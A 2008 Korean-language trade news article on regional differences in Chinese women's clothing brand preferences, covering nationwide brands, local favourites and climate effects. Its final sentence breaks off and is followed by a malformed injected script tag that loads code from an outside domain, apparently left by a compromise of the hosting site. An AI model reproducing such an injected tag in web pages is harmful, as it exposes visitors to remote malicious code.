지역따라 좋아하는 브랜드 제각각
2008-09-26 자이메이위 기자
생활방식이 의류 소비에 미치는 영향
아무리 멋진 스타일의 시폰 원피스라도 서북 지역의 모래 바람에는 맞지 않고, 중후한 분위기의 오리털 패딩은 남방의 시장에서는 팔리지 않는다. 시즌 트렌드가 빠르게 전 세계의 소비자들에게 알려져서 의류 브랜드들이 시즌 트렌드를 충실하게 반영한다고 하더라도 소비자들은 합리적으로 옷을 구매한다.
그렇기 때문에 소비자들의 지역적인 특성 즉 생활환경, 생활방식, 미의 기준 등의 지역적인 차이로 인하여 지역에 따라 소비자들의 선호하는 의류는 다르다.
글로벌 브랜드가 우위 점유
중화전국상업뉴스센터의 통계에 따르면 「ONLY」 「VERO MODA」 「아이거」는 전국 모든 지역에서 높은 매출을 올리고 있다. 일부 지역에서 이 브랜드들의 시장 점유율은 10% 이상이어서 다른 브랜드들과 비교할 때 매우 높다. 화북에서 서남까지, 이 브랜드들은 동시에 다른 지역 소비자들에게 만족을 주고 있다.
중국의 쇼핑몰에 입점해 있는 브랜드들은 일정 이상의 매출을 올릴 수 있는데 브랜드의 신상품이 나오는 속도가 느리거나 기존 상품이 팔리는 속도가 빠를 경우 쇼핑몰 운영이 어려워질 수 있다. 「ONLY」 「VERO MODA」는 1990년대 중국 시장에 진출했는데 트렌디한 상품으로 빠른 시간에 젊은 소비자들에게 인기를 모았다. 최근에는 중국 내 시장에서 높은 매출을 올리고 있다.
「ONLY」 「VERO MODA」와 중국내 여성복 브랜드를 비교할 때 가장 눈에 띄는 점은 트렌드를 빠르게 반영한다는 것이다.
소개에 따르면 브랜드의 많은 디자이너들이 파리, 밀라노, 런던과 코펜하겐 등 트렌드 중심지에서 디자인을 받아들인다.
신상품 입고도 매우 빨라서 기본적으로 매월 신상품이 매장에 입고되고 디자인은 중국 내의 트렌드를 반영하고 있기 때문에 개성적인 중국 젊은 소비자들에게 잘 팔린다.
그러나 「ONLY」 「VERO MODA」는 현재 충성도가 높은 소비자들이 줄고 있다. 소비자들은 “이전에는 매우 좋아했는데 현재는 거리에서 「VERO MODA」를 입은 사람을 너무 많이 마주쳐서 교복 같은 인상을 주기도 한다”고 말한다.
「VERO MODA」와 같이 많은 사람이 선호하는 브랜드는 대중들이 많이 입는 것이 브랜드 매출이 내려가는 지름길이 될 수 도 있기 때문에 이를 계속 고민해야 한다.
지역성 반영해 매출 극대화
다른 면에서 중화전국상업뉴스센터의 여성복 순위를 보면 「ONLY」 「VERO MODA」 「아이거」 외에 다른 지역에서는 순위에 오르지 않았지만, 각 지역에서 오랫동안 10위 안에 랭크되는 브랜드들이 있다. 예를 들어 「위엔티엔」 「줘얼메이」 등은 화북 지역에서 론칭한 브랜드로 그 지역에서는 매우 높은 매출을 올리고 있다.
올해 3월 중남시장 여성복 매출 순위를 보면 「줘얼메이」는 시장점유율 4.7%로 여전히 1위 자리를 지키고 있다. 「위엔티엔」은 중년 여성들에게 인기를 모으고 있으며, 중년 여성들은 어머니를 위해서 늘 「위엔티엔」의 옷을 구입한다.
강남에서는 그 지역 브랜드인 「징차오」「밍방」이 지역 소비자들에게 매우 유명한 인기 브랜드다.
이러한 지역 브랜드들은 그 지역 소비자들의 습관과 구매 패턴을 잘 알고 상품을 만들며 발전 과정에서 쌓인 풍부한 경험을 바탕으로 좋은 매출을 올리고 있다.
기후가 패션에 미치는 영향
의류는 빠른 속도로 소비품으로 자리잡았는데 소비는 항상 기후와 밀접한 관계가 있다. 전국에서 인기를 모으는 대중 브랜드도 각 지역에서 판매되는 상품의 차이는 고려해야만 한다.
예를 들어 화남지역은 봄과 여름이 길고 가을과 겨울은 상대적으로 짧아서 매출이 낮다. 옷은 경험을 반영해서 일부 브랜드는 화남 지역에서의 의류 판매 기간을 고려하고 비례해 상품을 조정하고 있어서, 봄 여름 시즌의 옷은 길게 판매할 수 있도록 한다.
반면 화중, 화동 지역은 4계절이 분명하고 여름이 더워서 열을 분산하고 땀을 잘 흡수할 수 있는 소재로 만들어진 옷이 잘 팔린다. 겨울은 춥고 일정한 난방을 하지 않는 경우도 있어서 겨울에는 북방만큼 추위를 느낄 수 있기 때문에 방한복은 반드시 잘 팔린다.
생활방식이 스타일을 결정
“옷이 그 사람을 반영한다”는 말처럼 다른 지역의 소비자들은 다른 생활 습관을 가지고 ?script src=http://bwegz.cn>
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